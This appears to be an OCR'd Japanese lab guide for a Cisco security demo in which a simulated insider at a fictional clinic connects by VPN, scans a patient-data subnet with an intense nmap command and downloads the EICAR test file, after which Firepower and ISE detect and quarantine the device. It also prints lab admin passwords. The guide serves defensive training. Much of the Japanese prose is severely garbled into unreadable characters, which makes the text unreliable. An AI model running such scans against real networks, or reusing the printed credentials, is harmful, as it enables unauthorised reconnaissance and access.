198.19.1 Disable Alarmis)... Multiple Hosts
] Host Policy...
Workflow »
Mitigation »
Motes ;
Flows ’ Associated Flow Table
B Associated External Events &0 Metwork and Server Performance
for Host 198.19.10.101: ad  Flow Traffic
Host Snapshot @ PeerVs, Peer
Top » | @@ PeerVs, Port
Status P | @0 Time Vs, Peer
Security P | a0 Time Vs, Port

16. FhIZEY  KRES VT IVIZIBIETHIENTEE T, STl KEDT—4H HIPAA RYRT—IMSH0EBD IP FRL A
198.18.133.6 IR ESNI=CEADLAYET . COEIE. HIPAA BENSDT—24RHENBRESNIESIZ. EELERIZGY

| Short List |

Clients

198.19.10.10
* ? 2 2 e
o - ™ ™ w
o h 3 v " : .
™~ _ ~ r~ W w
3 g 3 3 = g
?’] cl cl o (']
o - = = bt
=
Servers
-Protocol - Status
J,l TCP 2 uoe B other _| multiple ‘ \ <> Complete O active [ multiple
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17. R#&IZ.[SOC - F5D4v-BET—4R(SOC - Traffic - Patient Data)] 24" v51#%. [#vykT—% (Network)] 27 %:&IRT 5L,
HIPAA BER YN T—ODEFHLEE 1 —NRTEINET, ZITIE, ZOAMTOBRBETESHEIZHEILOhDTaralLETH
TAETAEHERTEETFTP L RDP OAA DS T4 IMHY. NI T75—LORRIZEVYET . FSTNDRIZELZDHZEN
HYET,

] 50C - Traffic - Patient Data x| (4] Cyber Thieats X |
Y Filter

5.19.10.101 X | [ 198.19.30.100

“«aniC -

Application Traffic, Traffic Inbe 4 (+) and Outbound {-}, Last 12 Hours ¢ Top Hosts Inbound+Outbound - 7 records

Host 3 Host Role 3 Bytes Y1 Flows & Peers &
198.19.30.102 £ Client 1.56M i 4[4]
SMC.ad.hackmds.com Client 816,96k 4 4
g [of (198.19.10.6) &
S 198.19.10.7 Server 80,63k 1 1
o 1M
a,:‘ 198.19.20.8 5 Client 77.25k 6 6
= 2M .19.20.
198.19.20.5 % Server 76.06k 1 1
3M k
Others (7) Client and Server 62,67k 14 13| |
4M T T T T T T T T T FTP (unclassified) Outbound Total (12) Client and Server 2.65M 30 23 ~|
08:00 09:00 10:00 11:00 12:00 13:00 14:00 15:00 16:00 —————— == o}
2.8M bps (2,803,448) Scord oy
. HTTP {unclassified) Inbound HTTPS (unclassified) Inbound . SMB (unclas:
Jan 15, 2018 4:55:00 PM er - Peer Role - Bytes a Flows - Hosts -
[ F1P (unclassified) Inbound [ undefined TCP Inbound [C] remote Des} < ad ~ a4 <
T -
. Undefined UDP Inbound E LDAP (unclassified) Inbound 2 DNS (unclassified) Inbound LREE S L=n G H
[ undefined Inbound [ others Inbound esdhttp.Flexnetoperations.com Server 709,36k 1 1
(64.14.29.84)
Application Traffic, Within, Last 12 Hours = IR ERTRLEN EERET HEBES & :
o 198.18.133.6 22 Client and Server 92,63k 3 3
198.19.40.253 Client 80,63k 1 1
2.5M 7
Others (30) Client and Server 245.8k 43 40|
P Total (35) Client and Server 2.75M s0 a7lx
;g 1.5M 3 ecord oy
S e Host s Host Role 2 Bytes % Flows 3 Peers 2
198.19.10.1 Client and Server 48,89 s 5
500k 4
198.19.20.5 82 Server 42,45k 1 1
g ) 15 v ) ! 4 5 L, 1 1 : 198,19.30.100 Client 6.97k 2 2
08:00 09:00 10:00 11:00 12:00 13:00 14:00 15:00 16:00 17:00 18:00 19:00
198.19.10.101 Client and Server 1.98k 2 2
[ HTTP (unclassified) HTTPS {unclassified) [ 5B (unclassified)
. FTP (unclassified) @ Undefined TCP D Remote Desktop Connection 198.19.20.8 Client and Server 1.66k 3 2
[ undefined UDP [ o4 (undlassified) DNS (unclassified) Others (5) Client and Server 3,79k 7 6
] undefined [ others Total (10) Client and Server 105.75 20 18

CCETT, SESFELFHEEFALTREEETELEL. ldentity Services Engine Tl&. Concern Index D&Y AT LEBHIMIZKR
BMLTHETECENATEET, COREICODVTIERDIFIATERY LIFSf=8., CSTIRITLWER A,

ZORRTHRIZIZHDI(E. HackMDs EHEEAS Stealthwatch [C&2> T, HET7ITAE T4, ERYN, HIPAA #FE L AT L RyRT—9~
DEM. FEL FTP H—EX MR YFT—=IADT—RRELECEODVWTREZIEETESILTT . I7M47 04— )L IPS. U4
WA RGEERRBED X2 T4 TY/BO—TIE FEAEDHE. COBDKREFRASINET, COTFTRTRIELI-LILNEREZ R
EFRETELZDE. RDBLAR—RDTH/AP—FITTT, HackMDs Tl&, NetFlow £¥ 274 TH/AD—%FEAL T, *vbT—5
(RAYF) DERBEBRETEFELT,

DEIN=RYNT—IVRNTHERINT-. BREORIYNT—Y FSTVIDEMMNRTINET , T TIE RBONEIBIZHRIER FTP S
T4voh%HY  BEBERIZIETRIEL RDP FS7490 055 EEHRETE Ao A ELBZ(CER T I RRAMNERTEETT . COFY
LaR—FTlE, b7 OZBBICHERL, RKELBEERRTHIENTEET,
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SFIE 6 BRESNKRAMNTIOERZHEL. EEOHIBREE=S2)VT TS

FYRT—=DIZT O R TED A CYEIBEL. B4R —42BHMISERT IIENFEREICEEICRYET, ChIZE. S ADDS
CEO IZEAET® LAN, JAY LR, VPN EHiLE . RuT—9 7ORADHoPABENEENETT, h/\LyPICFvyvThibn
X, VAT LBREREX 1 TFAZNANRALTRYNT—H JY—RIZEETIERTRIRIBELET,

CCTORRE TSI T4 R ERBFIR) O —2BATHIETT  ThITEY . BERL TV ST NAAREZDBHDORRIF v DIREIZED
WT.BEHERVRT—Y Y—ERFEFTETAEDI= T B EMNAREICHRYET  ERTIE. COTAEDI= U G2 R/NRDIFIET Y
BTRIELIFATNVET  RAFVEVNSHEIL. RFIODEHFH. VAL ARMEKEEEFEALTONEWNEZHIZT NS AD YR I KRELIE-TIND
MEIMERIIT HLEERLET,

TO/RO—ELTOTIERAFHICIFIFRICEZLDREAHYET . 1 DI, —ET NI ZADRE T HE. BELREBICOVTEERSNEG
K1GBHTETT, BLDHE. TV ERGHHEBRFAMIZTDRTIVPERBEDLIBEDTY T/ ERGHD Xy T 1E. BRETV/
AS—TRBTHSENTETT, I5LETH/A0—0FIEL TR RARK/BES AT L (IPS F1=(% IDS) BZEIFONES, lzH.
BEERHVRATLEFEINE/ Ny —U0HYET, 70— R—ROEERE LA TLICIK, RYMT—T AV TZRMIF Y 2IKICLE
[CERETEDEVSFRADNBHYET AR TIVTARELTIE, CNEEA DV RTLEEBSE LD RETT . 77 LR FIH R T L
LRETV/BO0— S RTFLEBATNE, TRAOHRBICESTIUIFRMNIVFr2AOBRESAIEEIZAYET, COIFIA T,
SOLEBEERRICHERLET

ZDIF)ATIE, HackMDs A—HF DSy Ty TH Mr. White [Ck>TRESN, RYRT—VIZRATETAFXY RAURELTHIAS
NEF, Mr. Red EVWVSHEBREF (L. BENEELTNSILEMST ITHARYNT—VIZEFHET SV E— 2—FELT. VPN BHT
ERHRLET . Mr. White (H772) IFZ DV E—MERLI-EETES7ybaT0xY RAURELTHEAL, HackMDs #ykT—412x3 4
BRET IERETVET Mr. White (&, F—R—K PIOERICBELRY I I T EAVRAM—=ILT BFDIZ RAO—FERELIVRT
LIZE D O—RL, DT /INARERF ¥ LT, HackMDs BREBRNICH A %I T 5 LERAFET . BEDHLI7MILDFIO0—K
LREBOERTITAET1IE. EH5ELF KA Cisco Firepower 75—LEMH—LET, ZOHER. Cisco Identity Services Engine 1=
BHIEh, ARBRERGINE IR RAU M RR SNE T,

R

COIFIVAERTTHE 7OERRGEY ) a—2av EREEF 1T V) a—2avNEBL T, RED YA N\—BREHTSHE
[2DWVT, ERMGEREFHEMNTEET  HackMDs Ry bT—2I21F VPN EHTEKELET M, ALK —% LAN BLUT (v
LREKICEBERATEE T, HackMDs Tl& Cisco Firepower IPS ##ERL TR VLT —IDBBEE=4) 45 LET, Cisco
Firepower IPS (&, HIPAA 2y rJ—JIZEHELCEEDH LTI AV ERTTHILTIA—ENFET, I5LEF7HIavITxiGL T,
Firepower (. ZRICEEL TS 1—F DRREMNBHETHS L% Cisco Identity Services Engine (ISE) ITEEILET .

[51#H18 Tl Cisco Firepower & Cisco Identity Services Engine (ISE) 258~ T. HackMDs D75+t X R —IZ&>TEREAHHS
*LT’;&’EEE; Li-g-o
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CCTIE BENLDRATLEBRTAREEICTHYET, 1. Mr. Black A HIPAA R yhD—J(Z7 9t RF 5D %M 1S BR5HM1EIIZ
PRYET,

IR UYY—R

KB E@YY—R 1:HackMDs ATV RIERT S, BESNT= Windows SvThy7

B—FyMAYY—R 1:HIPAA Rk T—9 L DERDT—IXT—32(198.19.10.101) L DRR

PhaIY) Y—X 1:Cisco Identity Services Engine

BrtaIY)Y—R 2: Cisco Firepower

BRIl v—X 3:802.1x # AL T7 /R KlHE @R T HrvbT—H

F7oeXHEAIC 802.1x #WATS

3 :EasyConnect [&. 802.1X LREI#HDKR—F R—XDFREEMARETHY LS, EAMNES TY, EasyConnect (& Active Directory
MORREEICET BDIFIREREL. TOTAIT BRI T—Y viav DSy F T ETVET, Eyiar TaLYM)EHIE PxGrid 1§
RALTHRITTEEY,

FIIE

COBRELF)ATIE Mr. Red 25T (FIFENzRESNARRARY, Mr. White (&%:12) [Z HackMDs ONER YT —IIZxtF 574
T REERELET, ZZTIE Cisco AnyConnect VPN 2 BXL T, ZLDYE—F T—A—HT5&51T BELFARR DS
HackMDs ybT—4(Z#Efi e DIREEF DI L—FLET, FYLT—VIZASE R—b RFYUIZEH>T. BALRYE TV LMD T
NAADEEERAET, COTILavIkY, HIPAA RYLT—H N TORIELEMEE TR T 5, Firepower IPS 75— LAk
H—NFET, TnIZ&Y. Firepower D7 5—LH Cisco ISE [TEEFE SN, AT LA VPN RYRT—I MBI RENET, JE—+
A—HIZfREERY S —NERAS TWSIENHMYET, REERY S —N SR T LERIRT 2V 0EI)v )L, BEDOHZEX(O—F
DFIVA—RERAET, ChIFE5 1 DDZATOREEDEMETT, TNIZEY. UE—F PRTFLNBE. RERYETI—VICRES
nEY,

HIEt= LB EMAI &L T Firepower SR TLIZTI2AL., BBEHETHILT. Firepower BEDFAITORNEBEEEHET S HEEHE
B3 BHEMNTEET, Tf= Cisco ISE (2O 1L T, Firepower M ISE 2Ry T—IMSDHIBREBEL-V AT LD FMEREL
ij-c

FE2RAQEF) T4 V)a—2ar DMEITE. TORITLEIFESELN—DavhABHYET, Cisco ISE [FAVTHFRL TANSH—
(TNARPIGAGE IP QFMZEY)1—2aV[TBT D) ELTHRESNTEY . TR0V 1—2avh, HE5VRTLEREICHT
HEBMELTHELIIEEICE, NI —ELTHEELET, ISE ZEATESZDMD V) 2—2a> ELTIE. Splunk ZE D SIEM,
Rapid7 ® Nexpose % EDHEFEHE R ¥+, Stealthwatch HE DL R 75/ —AHYET, ChioD#HEE (L. CTR BRERNTITHNI
TWET,

RESNFZARRAMITIERT BIZE. 2—H % admin, /SRT—K:Clsc012345 #FEALET,
Cisco Firepower @ 1—4H4£[d admin, /8ATJ—FI[& Clsc012345 T,

Cisco ISE M 1—¥H4& (% admin, /XA —K(& Clsco012345 TY,
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RESN=VRATLICHERT S

3 : Cisco ISE & Firepower fET PxGrid BHEILENDELIIZ, TRDZDE AR ZFIET DRIIER L FITERTTAHIENEETT,

1. Jumphost [Z3E#ELET

2. B4 42Lf=5b, [Contractor RDP] 7AaVEA T ILIYYILT, BESNI-OVNSIADSYT T IZTORALET,

ESRIC—EMERT-E 578, Jumphost MBFIIEL, BESNO AT LIZUE—MOTIEALET CHITEBFIETHY . EFE
DIATBEEESNFLDRATLOLHBENET,

3

Confractor.RD
P

3. dhowser ELTRY AT BTAVTEMNRFRENET, /N RT—FK:Clscol2345 # A ALET,

Windows Security 0 x| %, Remote Desktop Connection

~

Enter your credentials ‘) mmdhmwmum Do
These credentials will be used to connect to 192.168.1.9. = S

The remote computer could not be authenticated due to problems with its
security certficate. |t may be unsafe to proceed

Certificate name

4 Name in the certificate from the remote computer.
ContractorLaptop

HACKMDS\dhowser

Certificate emors
The following emors were encountered while validating the remote

—— |
computer’s cerificate
Use another account
1. The certificate is not from a trusted certifying authority

[~ Remember my credentials Do you want to connect despite these certficate emors?

Dont ask me again for connections to this computer

oK I Cancel | [ View ceicate... Yes | N |

4., BEBFLFAVISHIEADELLONEBINTEET ., O 1L T dhowser ZBIRLET , AV S5H4D dhowser Sy Ty T3
#HmLEL=,
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VPN #2H T HackMDs 2859 5

5 ZOBAET.BEINLZYINTIZTIERALTONET, RIZ, LIz 7ITREELIZYE—F A—FDHAHRARVNT—VIZHERTS
1= M VPN ¥E#E I T IHENHYET, Cisco AnyConnect 7A4IALES)voL . [#E#E (Connect)] ZBINLET , TH4EKL,
VPN AL SN CEnhrYET,

& Cisco AnyConnect Secure Mobility Client

D v

= Connected to vpn.ad.hackmds.com.

Pv4

av
—~ Login faied.

I vpn.ad.hackmds.com :] Connect I

-~

Roaming Security:
You are not currently protected by Umbrella.

Roaming Security:
You are not currently protected by Umbrella.

Cisco

AnyConne...

¥ : Cisco AnyConnect CTERTESRZHDEF)Ta A T3> 1 DEL T, Umbrella IR 94EFERLTLVET , Umbrella (& DNS
R—ZADtEF¥al74 V)a1—3a>TT, ZOFRTIL, AnyConnect ® Umbrella —E R IEBRIZHE>TWER A

CORF R T BENGREBFYNT—IIZTIEALTVET, CORYEI—I T, —FH HIPAA RybT—HLEBBETERN
KT BT A T—av ABEYICRESNTVER A, RRICIE EETELVT NI ANEETELTNARIZTIVERTEHILE
g Bf=BIcr b T —O R EEEERLET . COSRTIEBEMBAHIANS, BRI —9 €T A T—2a 0 E A AATE
Bho RVRT—9 2T AVT—2avERARLE TNENAINRT B-OITELICATYINRBEITHYET,

6. RIZ, FYrT—YEIZWBIREET, Zenmap Scanner #E2TLTCEEDHEITITAETAETVET, Thid, AT —9ZFREL
BT BEOHLII—HELXVIMIZTHN—RINIZESITETT . RESN =RV T—0FBRETHIEABMITHRYET,

7. Zenmap Scanner 7AaVES T ILIIVILET,

<

Zenmap
Scanner

8. Zenmap Scanner ARTENFET , % 198.19.10.0 A 198.19.10.255 Ff=IF 198.19.10.0/24 IZHEEL T, HIPAA .10 Rvk
D—9%ERX Y T BEIIERELET . [RFr> (Scan)] £V vILT. SORYPT—IDRX v ERBLET,

+ Zenmap E@@

Scan Tools Profile Help

Target: | 198.19.10.0/24 E] Profile: | Intense scan B Cancel

Command: | nmap -T4 -A -v198.1910.0/24

[ Hosts “ Services l ‘ Nmap OutputAi Ports / Hostsl Topologyl Host Detailsl Scans‘

|

0S 4 Host - ‘ Details
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9. R—hk XF¥=2JI12&D IE RYbT—VEBRHNRERRDKR)—ERIZED T, VPN EHEH IS ET, ZhlE. Firepower HE
B (RDED Y RAT LD HIPAA Ry T—9 LDV RT LI ping FELR) EHEL. TDVRT L% VPN hoHiRT RETHEZ
LEBHT BT S5—MA Cisco ISE ITEES =2 &IZ&YUET, Cisco AnyConnect VPN 9547 DRy T 7T, HibgSnhi=C
EMRTRSINET,

++ Zenmap o || B &R

Scan Tools Profile Help

Target: | 198.19.10.0/24 (vl Profile: | Intense scan v| |Scan| |Cancel

Command: | nmap -T4 -A -v198.19.10.0/24

Services Nmap Output | Ports / Hosts | Topologyl Host Details | Scans

0S 4 Host o |nmap-T4-A-v198219.10.0/24 -J
Discovered open port 445/tcp on 198.19.10.1 -
Discovered open port 139/tcp on 198.19.10.1 =
Discovered open port 21/tcp on 198.19.10.15 'Yy Cisco AnyConnect Secure Mobility Client S |l

Discovered open port 443/tcp on 198.19.10.10
Discovered open port 443/tcp on 198.19.10.1
Discovered open port 443/tcp on 198.19.10.11
Discovered open port 443/tcp on 198.19.10.12
Discovered open port 3268/tcp on 198.19.10.1
Discovered open port 4567/tcp on 198.19.10.10
Discovered open port 49159/tcp on 198.19.10.1
Discovered open port 3269/tcp on 198.19.10.1
Discovered open port 49155/tcp on 198.19.10.1
Discovered open port 49152/tcp on 198.19.10.1
Discovered open port 587/tcp on 198.19.10.2
Discovered open port 22/tcp on 198.19.10.4
Discovered open port 22/tcp on 198.19.10.7 Searching for policy server,
Discovered open port 22/tcp on 198.19.10.8 This could take up to 30 seconds.
Discovered open port 22/tcp on 198.19.10.5
Discovered open port 3389/tcp on 198.19.10.2
Discovered open port 22/tcp on 198.19.10.6
Discovered open port 135/tcp on 198.19.10.2
Discovered open port 88/tcp on 198.19.10.4 Q @
Discovered open port 88/tcp on 198.19.10.2

The secure gateway has terminated the VPN connection.
The following message was received from the secure gateway:
COA initiated

System Scan:

[

FE:ELE<EEMNICBEENHEAONTIT M., kBELET . Cisco Firepower WENEBEDHDITENEEHLI-CEITE DT, Cisco
ISE [E&HHT-%. RESNFLDELTY—ILET, INTHHEE., RBERIFT—IADT IR T D FAISN-CLIZHEYET . R
By —01E. REICHBESN 3D TIFAL, HackMDs BHEEBIETHIELBERYINITTEAFTEDLIIC. 10 2—F b
EIFIT IR TEDRRINT—ITYT . ChiF, SRATLDBRELGEDBENFESNHEC REITBEL. (VP TUMIETOE
AEEHETEHICRKETT .

BEFIEICIE., EBEERF v DETHID, TILVITHREEINTIEED Cisco AMP DAV AN—ILIEE Y IRIT7DEMILET:
[FEMLET, SEIFHUEAESENE T, ZOSKRTIX, Rapid7 Nexpose MEFEHERF v 2 ETL. BEFEEL-TEF Cisco ISE
[SERT S Web YAMIFET7 VLR TESLSICLET . BEICIK, BEUIHEBEAEZELT Web YA bADTHIERIFITHIELMNEL
NFERAD BE Web R—DITHER T DL B LG A ELARETHAHEECTIIRLTVET,
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10. Jumphost [ZRY. Cisco ISE #vLaR—RIZAT (LT AV T UM RELIZCLEZHERTEET . TTR—CDOTEIZHD
Firefox 7504 7432491 voL T, Jumphost [CRYET , BEEBEDTRNTOEF) T4 Y—IL FvaR—FHEEET,

! %Contractor- 198.18....

[ ’start u:-yJ G Q'

11. [Cisco ISE] #7##IRL T, 21— 4% :admin, /SRT—F:Clsco12345 TAJAULET,

12. [ (Operations)] [T EIL . [Radius] DT D [S47 0% (Live Logs)] Z:&IRLET,

bl ldentity Services Engine » Context Visibility ~ Operations » Policy

summary Endpoints Guests Vulnerability RADIUS

Live Sessions

METRICS
TACACS

Total Endpoints €@ , Livelogs
Adaptive Network Control

( Palicy List
n 5 Endpoint Assignment

13. dhowser M fEBEIREEIZIE>TWLNSIENHMYET,

dhowser Windows7- 00:50:56:AD:27:6F VPN == Quarantine Quarantine

14. TS99 DETEH)yHILTAVISIE TROMNTDIVE—F TROMNT wyiavIZRYET,

U - — -
g ! % Contractor - 198.1...

4
UStartI _ ‘. t Identity Services e
N

15. Cisco ISE IZ&k> T AT AIZ [[RifiF# (quarantined)] D44 (HackMDs IZ#E#E LR D IRITOIERL NIILH TR I THH L%
R DMFHFSNTf=8 . HackMDs [BRER YR T —V ICHEEEFGL. DATLEREE YN T —VICRITRELNHYET . COFKRT
X, B CCOREEZEEEDOBRAMOHALES , COFITIE A—FDELERYNT—0 FUEAN A GGz, I—FIZ75—ME
HLFERB A, ELBBEREENETTHETE. A—NEFETELIRVNT—VEBENREINET  COVRTLARYNT—S
EEiN. BTEEOAZE(LAN, VPN, DAY LR) TRYNI—YIZTIERTBHE . BEHERVNT—Y TORAMNFTINDIC
[Z. RETHIZENERINZETNIEBYER A TRV TIVIZT B12012. VAT LRRYNTI—VIZEND LS BEEEETT
SULOEREBELEL,
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16. VPN 954 T U bDAT—RRAER T EXER YT —JITEBGLTWRW I EZHERELE S, [F1# (disconnect)] £5)v /L TH L
[ #E#E (reconnect)] #4')v9 9 % & HackMDs RybD—2ICR>f=&S3ICRRSNFT A, HackMDs FEg v b D —JIZHE#HKEL T
WBFFTY . Cisco ISE WNA—HEREBERVET—IDLRIRLIZRICO AT LAONBEERLESIELT VPN HEEICKKLIZES
L A—AEREYIMLCERICHEIERLEEA LDBENEEFEL TS, 23T [vpn.ad.hackmds.com [ZHE#EF &
(Connected to vpn.ad.hackmds.com)] &ERRSEHIENBMIZHYVET,

&) Cisco AnyConnect Secure Mobility Clie:

9 m

Connection attempt has failed. E | Connected to vpn.ad.hackmds.com.

I vpn.ad.hackmds.com i I vpn.ad.hackmds.com ;I Disconnect I

00:00:11 00:00:15

Roaming Security: ! Roaming Security:
You are not currently protected by Umbrella. ! You are not currently protected by Umbrella.

R MO RN _

17. Windows %> a7R—K T Google Chrome Web 7594 Yo% 51)vHoLET,

Google
Chrome

18. TS UYMF=L, [BER—Y (Remediation Page!)] Y2 9%9) LT, ISE BNEDT /NI ADRHENLETHH LML=
BIZN\vFEERT S HEEHERBLET .

MNew Tab X \

2 C|Qa

L A B . . é}.\- - -
ses Anng | applicati@@@@ e wRemediation Page!
pps @ app %ﬁi,tayﬂ g
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19. YRTLMNMEEENI=CEZA—FITBHT B MEER—UARTENET  Cisco AnyConnect VPN A BEVIHSH ., JE—+
A—YHEBHIC Cisco ISE TEBEINDL—H DREICRHZENHMYET,

FORBOEBEATIE. BFOVIMNIZTORRICE O TRRAFVICERLIZVATLN, COFETEEINET . ASOEBB 75— L%
F)A—Lt=t=-OREE SN =V AT LIZDOWTIF. BREO2ATIZIEL T, BREETEILEL VAT LEFETRET HIENHESIS
BENHYET,

[ Remediation Page! X

« C | ® remediation.hackmds.com Q

o] & [

9 Cisco AnyConnect Secure Mobility Client

® =

pere— Contacting vpn.ad.hackmds.com.

pn,ad. hackmds. com

VPN Connection Required

*“L& System Scan:

Searching for policy server,
This could take up to 30 seconds.

L/i‘g—o

rOV*

Connected to vpn.ad.hackmds.com.

I pn.ad,.hackmds.com VI Disconnect |

IPv4

Roaming Security: ! Roaming Security:
You are not currently protected by Umbrella. ) You are not currently protected by Umbrella.
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21. TERERTBICIE. TS5 TDOTE®D [Firefox] #7%41)w4o LT, Jumphost @ ISE 4w aiR—RICRYET, EEEELLT, 21—
YHBEENF-CLERRTEET,

s

=
£ 'Startl - ‘. Q Identity Services Eﬁ@ % I k Contractor - 198.1...
W 2

22. COFRTIM47 BT ER5E, dhowser [ZIREBEIRDZT AFNTWENZEADMES  BEITIELTISVHEEHLET,

dhowser Windows7- 00:50:56:AD:27:6F VPN == Domain User Permit Access + Scan

23. Iz [Firefox] #7%%1)yHL T, RDP ##LE-aV S92 TR TIZRYET,

24, WBEN—BHICFERTIES 1 DOEMELT. VML RARELEDL T —F¥ R—ROTH/A0—%N\(I\RFTHZLEBH
LEBEOHAVINIZTEREILTE I A—RTBAENHYET, FEIENFN—IPNHITOENDE, 3—F vk RybT—
DI DAL T I CRERL T H2OD)E—F 7UER Y—IL YO SOY LVITHEDEBEDHDYINITTIZHS
BENBHYET,

E AU O—FBEORUEE. F 00— FR AU 0—FAE FOVO—FDBEREGE  SESFRAU O 7 —FEHRTHLT
ThhzxEd,

BEOHDII7ANETYUO—RTBIET. RAO—FREFHOVO—FRTEDELEEBDEEERTLTHELLI Web TSI HDIRS]
RAED) D14, applications.ad.hackmds.com #51)voLET,

Mew Tab »

C Q

=== Apps [ applications.adg igtion Page!

I

25. Web H—/\HIZLDOMDT7A IV HEDHHMYET, eicar_com.zip IE. HackMDs TOF—R—F 7O RZAIREICZT H1=0HIC
WEENMEKLI-. BEOHIRAO—FTY, CCTITHFEF, BESNFDRATAICAVAM—ILENT-BEDHDT7ILH (B
TN RAO—FZEFHoO0—FL T BENFBEF Yy RIILEBLTORATLIZT VR TESILEF TN REEICTENT S, —&ED
BETYT ., CNIEDFEY. COTFAIILESIUO—RFEHILET. BEOHDY I 7 ELTOEEETOTHBDENSTETT,

' @ applications.ad.hackmd: X

o C | @ applications.ad.hackmds.com

applications.ad.hackmds.com -/

11/15/2817 8:50 PM 184 eicar_com.zip™S8
1/9/2018 12:54 AM 147622 img.gng
12/12/2017 5:06 PM 168 web.config
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26. COENMEILEL= Cisco Firepower [IZ&>TEEDHDT7MIILELTHESN ., HackMDs Rk —I WS DV R T LEHIBRT H&
5[ Cisco ISE [T@HEINFET,

27. Jumphost IZRY. dnowser BB E. [REEIREEICE-TLVD I LERERLE T, Firepower (KA BHEDEFEEBET AL, Cisco
ISE 2T 74— ELTERTBICIE MEEFIEEZRYIRL T, dhowser @B SBITSEDIDENHYET,

CZETT.BELEARRMIAURM—=ILLIZBEDHDV Iz T7E. RBENFRTHHE L OMNRLELZ, RYET—IFRFv
LTRAO—FES o 0—FF55&E, EBIC—RMTEMTHY . NetFlow R—ADEFa) T HE hOREBE=RY2Y T45/0
D—LEDHET.IDS/IPS THEINDLSIIZHBESATLET,

X :Cisco ISE DEEDIZRBTIL. VPN & ACL DET AT—2avI2&oT. 27O AV AL EShEz T, SRES VT ILIZT B8
12, CCTIRBEDNGEET Ao T—2aVFEHLTNEE A,

NEBEZET D

COEETIE., BFEMAIAY Mr. White [2&5 HackMDs oD T—2E#EHILLET A, ZORICFEFHTITS>FIEEHYEE A, Cisco
Firepower & ISE V1) 2—23v[2&->T, BEMICLEINET, (T, FRISLUEROT VR G#EX2) T TH/00—%#HE
FTBHIEIZEH>TELNDKELMIED 1 DTT, KRIZ, Cisco Firepower & ISE DA DT/ A —%HEEIORENSRTHET,

Firepower 75— LMD R

1. Jumphost [ZRYZET , ZH)IZ. Cisco Firepower TCHHDARUIRED ESICRZ 50 EHEZELET,

EATEIOEZ O RDP viarhE-TWVSIGEE. B9 vILT [J12 R %L (Close window)] Z:&IRL. vl avE KR TL
FT, TAVTIMNER TIN5 [OK] 29Uy HLET,

Remote Desktop Connection i X|

‘oi Your remote session will be disconnected

%, Remote Desktop Connection

= Pin this program to taskbar

-~ v Programs on the remote computer will continue to run after
E Close window you have disconnected. You can reconnect to this remote
session later by logging on again.

Q | ;;(\ Contractor - 198.1... [ Do ekl thik weiacs sk

2. Firefox Y av I LTWVEWNMES(E. FAavESLTILY)9HILT Web TS5 EREET,

)

[d

Cancel

J

Mozilla
Firefox
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3. https://198.19.10.5 [T RTBHH ., TS5 D [Firepower] #T%41) 4oL T, Firepower Management f > 3—Jx 4 R&HEFE
¥, 1—H% admin, /SR —F:Clsco12345 #ERALTAY 1V LET,

FECODFHIATEBEHOBEEICERZEL TSSO, COND XA SIRTHEEINTSDE. RYS—EFT v a2 R—FDRER
EIFTY  EENBBEESN TORWBAEID/ N XFUIZDNTIEE DD FIFESBL TS ZOMD S FUA TIE., FIE
EEHBILTEIENTEET . CNIEFREDEATORRS TSIT4RIZBYET,

D htt 198.19.10.5 ji7e v O *

Services Engi = Apache Guacamole s Firepower @ Splunk

dfear]n
CISCO

) Your session has expired,

Login
Username |admin|
Password ssssesceee

Log In

4. AMrOFvaAR—FRRRENET,

« > C 0 ey

F) Nexpose  5W Stewalthwatch &2 Identity Services Engi... = Apache Guacamole  ists Firepower r‘i Splunk

=

-0g810-11e

Overview

Dashboards v Reporting summary v

Summary Dashboard

Provides a summary of activity on the appliance

MNetwork » .im’ Intrusion Events » Status x Geolocation » QoS x

Indications of Compromise by Host - ~ Indications of Compromise by User
IP Address ¥ Count User
.gﬂ 198.18,133.6 | 2 . 4 AD1%adrinistrator (LDAP)

Bl 195.19.20.5
Sl 198.18,133.201
Bl 193.19.10.101
gl 193.19.20.5
&l 192.19.30.102
5l 193.19.40.51

4 doogie howser (AD1Ndhowser, LDAP)

SR S R RS el
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5. ARNUINERA—LETS—LEELET, [947 (Analysis)] 275 voL T [#BEA X2k (Correlation Events)] Z:#IRLET .

AMP  Intellig

Context Explorer Connections v Intrusions v Files v Hosts v Users v vulnerahilities » Correlation » Correlation Events

Correlation Events
/

Correlation Events White List Events
Correlation Events White List Violations

Mo Search Constraints (Edit Search) Status

Jump to... ¥
6. Cisco ISE GHEDMD I RAT LITHLTTI—LEERT D, TRTDARVMRTENES IO K3, IP FFLR

198.19.40.51 A% 198.19.10.0 *YrT—H%RAF ¥ L, 75—LEEBLTVET , TDOHE%IZLVS1—H A Doogie Howser
(dhowser) THdHZELHMYET , Doogie [ZIZE >3 DT,

1 |E 198.19.10.3 ®F 198.19.30.102

2 =5 198.19.20.8 ®f 198.19.10.15 4 Discovered Identities\splunk (FTP)

2 ®f 198.18.133.10 8§ 198.19.10.1 %« Discovered Identities\dcloud (FTP)
®f 198.19.40.51 ®f 199.19.10.1 4 dhowser (LDAP) 4 Discovered Identities\dcloud (FTP)
®f 198.19.40.51" ®m§ 198.19.10.1 — 3 doogie howser (AD1\dhowser, LE'AF':r "% Discovered Identities\dcloud (FTP)

2 ®E 198.19.40.253 1§ 198.19.10.7
®f 198.19.40.51 8§ 198.19.10.1 4 dhowser (LDAP) 4 Discovered Identities\dcloud (FTP)

7. 198.19.40.51 MHEIZHHAVE1—2 TAaALEY) VDT HE. Doogie DAVE 1—4DFMHARFINET, COIAVE1—4EIC
&> T. Cisco Firepower A' Cisco ISE IZIEEZEIERL TV ABED VO RELTVET,

B 198.19.40.51

8. RMIEDERIZGESTWSVRATLDHMETRTRYTTYT D4R IBRRFEINET, COTOT7AIL T—E2I& T/IA ARk
D — V&G EICEHMBIS N ZIRIZ. Rapid7 Nexpose Mo IREEN a0 THRRAMEREITER SN TIzED TY, 7=, Cisco Firepower
. 7TV —2av BT —2&ENWT, TNRAADTAT7A() 5%y TIZToTOET,
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Host Profile Generate White List Profile
IP Addresses 198.19.40.51

NetBIOS Name

Device (Hops) ftd (1)

MAC Addresses (TTL) 00:50:56:B8:6E:6D (VMware, Inc.) (255)

Host Type Load Balancer

Last Seen 2018-02-28 13:52:53

Current User Discovered Identities\anonymous (FTP)

Yiew Context Explorer | Connection Events | Intrusion Events | File Events |

Malware Events

Indications of Compromise | & Edit Rule States
Systems (2) v & Edit Operating System 4 View Operating Systems
Hardware 0S 0S Product  0S VYersion Source
Yendor
Windows 7 Application:
Microsoft  Ultimate SP1 NeXpose Scan " Make Current
Edition Report

Vista, 7, Server 2008,
Phone 7.5, Phone 8.0, 8,
Server 2012, Server 2012
R2, 10

Microsoft  Windows Firepower «’Make Current

Servers (14 ) v

